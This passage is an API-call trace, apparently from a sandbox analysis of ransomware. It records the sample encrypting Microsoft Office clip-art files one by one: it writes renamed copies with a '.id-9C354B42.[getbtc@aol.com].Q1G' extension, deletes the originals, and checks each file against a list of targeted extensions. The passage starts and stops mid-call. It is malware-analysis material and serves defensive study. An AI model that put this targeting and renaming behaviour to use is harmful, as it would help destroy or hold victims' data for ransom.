lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x668c, lpOverlapped=0x0) returned 1 [0265.789] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x6690, lpOverlapped=0x0) returned 1 [0265.790] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.790] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.790] SetEndOfFile (hFile=0x390) returned 1 [0265.790] CloseHandle (hObject=0x390) returned 1 [0265.790] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.790] SetEndOfFile (hFile=0x37c) returned 1 [0265.794] CloseHandle (hObject=0x37c) returned 1 [0265.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf")) returned 1 [0265.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0265.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0265.795] lstrlenW (lpString=".doc") returned 4 [0265.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.795] lstrlenW (lpString=".docx") returned 5 [0265.795] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0265.795] lstrlenW (lpString=".pdf") returned 4 [0265.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.795] lstrlenW (lpString=".xls") returned 4 [0265.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.795] lstrlenW (lpString=".xlsx") returned 5 [0265.795] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0265.795] lstrlenW (lpString=".ppt") returned 4 [0265.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0265.795] lstrlenW (lpString=".zip") returned 4 [0265.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.795] lstrlenW (lpString=".rar") returned 4 [0265.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.795] lstrlenW (lpString=".bz2") returned 4 [0265.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.795] lstrlenW (lpString=".7z") returned 3 [0265.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0265.796] lstrlenW (lpString=".dbf") returned 4 [0265.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0265.796] lstrlenW (lpString=".1cd") returned 4 [0265.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0265.796] lstrlenW (lpString=".jpg") returned 4 [0265.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0265.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0265.796] lstrlenW (lpString=".doc") returned 4 [0265.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.796] lstrlenW (lpString=".docx") returned 5 [0265.796] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0265.796] lstrlenW (lpString=".pdf") returned 4 [0265.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.796] lstrlenW (lpString=".xls") returned 4 [0265.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.796] lstrlenW (lpString=".xlsx") returned 5 [0265.796] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0265.796] lstrlenW (lpString=".ppt") returned 4 [0265.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0265.796] lstrlenW (lpString=".zip") returned 4 [0265.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.796] lstrlenW (lpString=".rar") returned 4 [0265.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.796] lstrlenW (lpString=".bz2") returned 4 [0265.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.796] lstrlenW (lpString=".7z") returned 3 [0265.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0265.796] lstrlenW (lpString=".dbf") returned 4 [0265.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0265.796] lstrlenW (lpString=".1cd") returned 4 [0265.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0265.797] lstrlenW (lpString=".jpg") returned 4 [0265.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.797] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.797] lstrlenW (lpString="J0198016.WMF") returned 12 [0265.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.797] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=33948) returned 1 [0265.797] CloseHandle (hObject=0x37c) returned 1 [0265.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf")) returned 0x20 [0265.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.992] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.992] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0265.995] GetLastError () returned 0x0 [0265.995] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x849c, lpOverlapped=0x0) returned 1 [0265.997] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x84a0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x84a0, lpOverlapped=0x0) returned 1 [0265.998] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.998] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.999] SetEndOfFile (hFile=0x3c4) returned 1 [0265.999] CloseHandle (hObject=0x3c4) returned 1 [0265.999] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.999] SetEndOfFile (hFile=0x3a0) returned 1 [0266.001] CloseHandle (hObject=0x3a0) returned 1 [0266.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0266.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf")) returned 1 [0266.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0266.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0266.002] lstrlenW (lpString=".doc") returned 4 [0266.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.002] lstrlenW (lpString=".docx") returned 5 [0266.002] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0266.002] lstrlenW (lpString=".pdf") returned 4 [0266.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.002] lstrlenW (lpString=".xls") returned 4 [0266.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.002] lstrlenW (lpString=".xlsx") returned 5 [0266.002] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0266.002] lstrlenW (lpString=".ppt") returned 4 [0266.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0266.002] lstrlenW (lpString=".zip") returned 4 [0266.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.003] lstrlenW (lpString=".rar") returned 4 [0266.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.003] lstrlenW (lpString=".bz2") returned 4 [0266.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.003] lstrlenW (lpString=".7z") returned 3 [0266.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0266.003] lstrlenW (lpString=".dbf") returned 4 [0266.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0266.003] lstrlenW (lpString=".1cd") returned 4 [0266.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0266.003] lstrlenW (lpString=".jpg") returned 4 [0266.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0266.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0266.003] lstrlenW (lpString=".doc") returned 4 [0266.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.003] lstrlenW (lpString=".docx") returned 5 [0266.003] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0266.003] lstrlenW (lpString=".pdf") returned 4 [0266.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.003] lstrlenW (lpString=".xls") returned 4 [0266.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.003] lstrlenW (lpString=".xlsx") returned 5 [0266.003] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0266.003] lstrlenW (lpString=".ppt") returned 4 [0266.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0266.003] lstrlenW (lpString=".zip") returned 4 [0266.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.003] lstrlenW (lpString=".rar") returned 4 [0266.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.004] lstrlenW (lpString=".bz2") returned 4 [0266.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.004] lstrlenW (lpString=".7z") returned 3 [0266.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0266.004] lstrlenW (lpString=".dbf") returned 4 [0266.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0266.004] lstrlenW (lpString=".1cd") returned 4 [0266.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0266.004] lstrlenW (lpString=".jpg") returned 4 [0266.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.004] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0266.004] lstrlenW (lpString="J0198372.WMF") returned 12 [0266.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.007] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=28572) returned 1 [0266.007] CloseHandle (hObject=0x3a0) returned 1 [0266.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf")) returned 0x20 [0266.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0266.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.008] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.008] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0266.009] GetLastError () returned 0x0 [0266.009] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x6f9c, lpOverlapped=0x0) returned 1 [0266.010] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x6fa0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x6fa0, lpOverlapped=0x0) returned 1 [0266.012] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.012] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.012] SetEndOfFile (hFile=0x3c4) returned 1 [0266.012] CloseHandle (hObject=0x3c4) returned 1 [0266.012] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.012] SetEndOfFile (hFile=0x3a0) returned 1 [0266.014] CloseHandle (hObject=0x3a0) returned 1 [0266.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0266.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf")) returned 1 [0266.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0266.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0266.015] lstrlenW (lpString=".doc") returned 4 [0266.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.015] lstrlenW (lpString=".docx") returned 5 [0266.015] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0266.015] lstrlenW (lpString=".pdf") returned 4 [0266.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.016] lstrlenW (lpString=".xls") returned 4 [0266.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.016] lstrlenW (lpString=".xlsx") returned 5 [0266.016] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0266.016] lstrlenW (lpString=".ppt") returned 4 [0266.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0266.016] lstrlenW (lpString=".zip") returned 4 [0266.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.016] lstrlenW (lpString=".rar") returned 4 [0266.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.016] lstrlenW (lpString=".bz2") returned 4 [0266.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.016] lstrlenW (lpString=".7z") returned 3 [0266.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0266.016] lstrlenW (lpString=".dbf") returned 4 [0266.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0266.016] lstrlenW (lpString=".1cd") returned 4 [0266.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0266.016] lstrlenW (lpString=".jpg") returned 4 [0266.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0266.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0266.016] lstrlenW (lpString=".doc") returned 4 [0266.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.017] lstrlenW (lpString=".docx") returned 5 [0266.017] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0266.017] lstrlenW (lpString=".pdf") returned 4 [0266.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.017] lstrlenW (lpString=".xls") returned 4 [0266.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.017] lstrlenW (lpString=".xlsx") returned 5 [0266.017] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0266.017] lstrlenW (lpString=".ppt") returned 4 [0266.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0266.017] lstrlenW (lpString=".zip") returned 4 [0266.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.017] lstrlenW (lpString=".rar") returned 4 [0266.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.017] lstrlenW (lpString=".bz2") returned 4 [0266.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.017] lstrlenW (lpString=".7z") returned 3 [0266.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0266.017] lstrlenW (lpString=".dbf") returned 4 [0266.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0266.017] lstrlenW (lpString=".1cd") returned 4 [0266.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0266.017] lstrlenW (lpString=".jpg") returned 4 [0266.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.017] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0266.017] lstrlenW (lpString="J0198377.WMF") returned 12 [0266.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.029] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=40300) returned 1 [0266.029] CloseHandle (hObject=0x3a0) returned 1 [0266.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf")) returned 0x20 [0266.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0266.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.029] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.030] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0266.030] GetLastError () returned 0x0 [0266.030] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x9d6c, lpOverlapped=0x0) returned 1 [0266.033] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x9d70, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x9d70, lpOverlapped=0x0) returned 1 [0266.034] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.034] WriteFile (in: hFile=0x3c4, 